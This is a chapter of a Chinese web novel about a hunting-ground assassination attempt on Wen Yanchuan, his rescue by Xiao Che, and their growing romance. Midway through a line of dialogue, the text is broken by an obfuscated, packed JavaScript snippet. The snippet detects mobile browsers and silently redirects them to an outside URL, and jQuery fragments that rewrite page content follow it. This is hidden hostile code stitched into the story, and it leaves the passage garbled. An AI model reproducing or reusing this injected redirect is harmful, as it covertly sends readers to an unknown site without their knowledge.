43. 第 43 章
作品:《俯首称臣》 用了大半日,一行人终于浩浩荡荡到了围场。
能圈起来做围场,环境自然是极好的。平坦辽阔,密林一眼望不到边。河流清澈见底。叫人心旷神怡。
大燕传统,每年秋猎皇上都会提前准备一件赏赐,由秋猎中拔得头筹者斩获。
今年的赏赐是一件白狐氅。
大氅是越冬必不可少之物。兔皮、狼皮、狐皮……不同的皮毛做出的大氅也不尽相同。
温言川有件浅灰色大氅,是用兔皮制成的。十九岁生辰时娘亲送给他的生辰礼。温言川喜欢极了。
不过跟眼前这件白狐氅比,自是小巫见大巫了。
狐氅柔软洁白,没有一丝杂色。
晚上的篝火宴上,萧彻瞧着方德全手中展示的白狐氅,第一个念头就是:穿在温言川身上肯定好看。
翌日,秋猎开始。
温言川骑着踏云往林子里去,萧彻不紧不慢跟在后面,一双眼睛恨不得黏在温言川身上。
温言川今日换了身轻便的骑装。交领窄袖,腰带勾勒出劲瘦的腰身。头发高高束在脑后。长眉入鬓,脖颈修长。
整个人透出一股英姿煞爽的少年气。
发现一只野兔,温言川背手从箭囊中抽出羽箭,利落地搭弓射箭,精准射中野兔心口。
萧彻惊讶挑眉:“子昭会射箭?”
温言川:“君子六艺,自然是会的。”
萧彻:“行,那你继续吧。我走了。”
温言川不解:“去哪?”
“猎兔子多没意思,我去猎大家伙。没准儿还能拿个头筹。”说完,萧彻一夹马肚子,喊了声“驾!”往林子深处走去。
温言川看着萧彻挺拔落拓的背景,勾唇笑了。想送他狐氅就直说。
萧彻去猎大家伙,温言川也没闲着,满山寻觅野鸡野兔。
射中一只野鸡后,跟在后面的御林军忙小跑过去捡。
这时,静谧的林子里忽然响起一道幽幽的哨声。说不出的阴森。
周围随之响起悉悉索索的声音。
温言川蹙眉,直觉告诉他哨声有古怪。
“有蛇!”御林军中不知谁喊了一句。
温言川循声看去,一条黑色带斑点的蛇从草丛里爬出来。鳞片映着日光,蛇信“嘶嘶嘶”地吞吐着。
温言川吞了口唾沫,忍住从心里泛起的惧意,果断拉弓,羽箭射中蛇的头部。
“那儿也有一条!”
“这边也有!”
“好多啊!怎么全是蛇!”
数不清的蛇从草丛里冒头,朝他们围了过来,形成了一个蛇圈。
温言川顿时明白了,刚刚那道奇怪的哨声就是为了引蛇。
蛇圈越缩越小,已经看不到草地。踏云不安地原地踱步,鼻子里发出“突突突”的声音。其他人也慌作一团。
温言川打望四周,并未看到人影:“都别慌!谁有火折子?丢给我!”
其中一名御林军拿出火折子丢出去:“大人接着!”
温言川接过火折子,迅速脱掉外袍点燃。等火势大些,将燃烧的外袍丢在地上。
密不透风的蛇圈被打开一个小缺口。
温言川:“其他人照做!快!”
点燃的衣服一件接一件,形成了一条火路。所有人顺着这条路冲出了蛇圈。
哨声再次响起,声音较之前更加尖锐急促。
紧接着,两只老虎一左一右从温言川前方的草丛里蹿了出来,虎啸声听得人胆寒。
踏云嘶鸣一声,驮着温言川朝相反的方向跑去。
温言川回头看了眼,两只老虎在后面紧追不舍。完全不理会四散而逃的御林军。
果然是冲他来的。
如此也好,不会连累无辜之人枉送性命。
温言川松开缰绳,身体最大幅度向后扭转,神色果决坚毅。搭箭拉弓,羽箭蓄满力直冲老虎而去。
射中了老虎的右前肢。老虎被激怒,跃起朝温言川扑来。
踏云猛地停住,尥蹶子踢在老虎肚子上。
另外一只瞅准机会扑上去咬住温言川的上臂,尖锐的牙齿轻松没入皮肉。
温言川吃痛闷哼,手中的弓掉落。整个人被拽下马,“噗通”一声摔在地上。
温言川顾不上疼痛,另一只手迅速从箭囊里抽出羽箭,握住,狠狠扎在老虎身上!
老虎吃痛松口,温言川迅速爬起来,后背紧贴住踏云。
鲜血潺潺而出,染红了衣服。顺着指尖滴滴哒哒砸在地上。
两只受伤的老虎仍不死心,冲着温言川跃跃欲试。像是在等待什么命令。
“看来今日阁下非要取我性命。不如让我死个明白。”疼痛让温言川呼吸声变的粗重,眼里没有丝毫惧意,“何人派你来的?”
说着,重新取出一只羽箭握在手中。
回应他的是一道哨声。
温言川冷笑一声:“只敢躲在暗处的杂--碎!怕你不成!”
两只老虎缓缓向前,距离够后,再次跃起朝温言川扑来。
千钧一发之际,飞焰从树林里冲出,落地后两条前腿立起,发出阵阵嘶鸣。
萧彻手里的重弓已拉到最满,四箭齐发,射穿一只老虎腹部后,直冲另一只而去,又将第二只捅了个对穿。
两只老虎结结实实摔在地上,奄奄一息。
萧彻看了眼受伤的温言川,像是受了什么刺激,翻身下马,拔出定乾坤砍掉虎头,又将虎心挖出来丢在地上,虎眼也用剑尖戳烂。
温言川捂着伤口靠在树上,一点也不害怕这样嗜血残忍的萧彻。就是有点不开心他将自己晾在一边。
“萧恒之,过来。”
温言川的话就是萧彻的哨声。
萧彻大步走到温言川身边,撕下一截衣摆:“我先给你止血。”
看着萧彻微微颤抖的手,温言川轻声道:“我不疼。”
“我疼。”萧彻说。
他的心快疼死了。
温言川偏过头去,心里兵荒马乱。
一个不懂何为爱的人爱而不自知。一个不肯承认是断袖的人甘心沦陷。
做了简单的包扎,萧彻抱起温言川放到马上,自己跟着坐到后面,往帐子赶去。
温言川靠在萧彻怀里,头脑清晰道:“有人要杀我。我先听到了一阵哨声,接着从四周爬出来好多蛇。冲出去后又听到了哨声,之后便蹿出来两只老虎。”
秋猎归根结底只是愉悦身心,不会放那么多毒蛇进来,更不要说老虎这种能取人性命的猛兽了。而且不管是毒蛇还是老虎,明显听哨声驱使。
萧彻:“我也是听到哨声觉得不对才赶来的。”
路上遇到了的御林军,问过后便沿着马蹄印一路追过来。
幸好赶上了。
温言川:“会是李远吗?”
萧彻:“不排除这种可能。但也有可能是别人。能用哨声驱使动物,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601040|150517||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是一般人能做到的。我让人去查,一定给你报仇。”
温言川“嗯”了声。
回到帐子,萧彻翻身下马,将温言川接下来抱住,吩咐旁边的御林军:“去叫太医!”
抱着温言川进了帐内,放到床上。萧彻看了眼伤口,包扎伤口的布条已经被血浸透了。
温言川面色苍白:“得把伤口露出来,要不太医没法诊治。”
“我来。”
萧彻先小心解下布条,用匕首划破手臂上的衣服,小心撕开。
四个血窟窿正在往外渗血,鲜血染红了白皙的手臂。触目惊心。
太医也急匆匆赶到,看了眼温言川受伤的手臂,神色震惊:“这是被什么咬的?”
温言川:“老虎。”
“围场里怎么会有老虎?”太医边说边打开药箱,“大人且忍忍,伤口不处理干净容易感染。”
温言川无声点头。
烈酒沾到伤口,温言川猛地瑟缩一下。咬着唇不发出声音。
萧彻坐到温言川身边,撸起袖子:“咬我。”
看了眼面前紧实有力的小臂,温言川张嘴咬了口,留下一圈整齐的浅浅的牙印。
萧彻轻笑了声:“抓痒痒呢?使劲儿。”
温言川又咬了一口,顺势倒进萧彻怀里。萧彻自然地抬起手臂抱住他。
听着萧彻的心跳声,温言川忽然觉得没那么疼了。
清创、敷药,最后用麻布条包好防止感染。
太医道:“大人这几日要注意休息,就不要出去围猎了。”
温言川:“有劳太医。”
等太医离开后,萧彻:“躺下休息。”
温言川躺在床上,黑亮的眸子看着萧彻:“你去哪儿?”
“哪儿都不去。”萧彻坐到床边,“在这儿守着你。”
温言川安心闭上眼睛。
死里逃生,不管是身体还是精神都累极了,渐渐睡了过去。
梦到有无数条蛇缠绕在身上,温言川猛地睁开眼睛,坐起来大口喘粗气。
帐子里光线昏暗,已经是傍晚。
只有他自己。
下一瞬,帐帘掀开。萧彻端着粥和烤兔肉进来。瞧见温言川脸上的恐惧,忙将手里的东西放到桌上。
走到床边:“什么时候醒的?”
“刚醒。”温言川光洁的额头上挂着细密的汗珠,心有余悸,“我梦到了好多蛇。我最怕蛇了。”
“不怕。这里没蛇。”萧彻发誓一定要将吹哨之人剁成肉泥!
“吃点东西。”
温言川喝了半碗粥,吃了两口兔肉便不吃了。
萧彻懒得出去拿新的饭。端起碗,将碗里的粥几口吞进肚子里,剩下的兔肉也全吃了。
晚上,温言川让伤口疼醒。偏过头,看见萧彻面朝着他趴在桌上睡着了。
燃到一半的蜡烛放在他斜前方的桌角,烛火打在英俊桀骜的脸上,形成了非常清晰的明暗交错,让五官显得更加立体。鼻梁窄挺,眉眼锋利。
这一刻,温言川仍旧不承认自己是断袖。
但他承认喜欢萧彻。
没有确切的开始。或许是某个瞬间,或许是相处中细水长流的萌发。
在今日才迟来地意识到。
“萧彻。”
温言川只喊了一声就叫醒了他。
萧彻直起身,脸上没有丝毫不耐:“怎么了?”
“你躺上来。”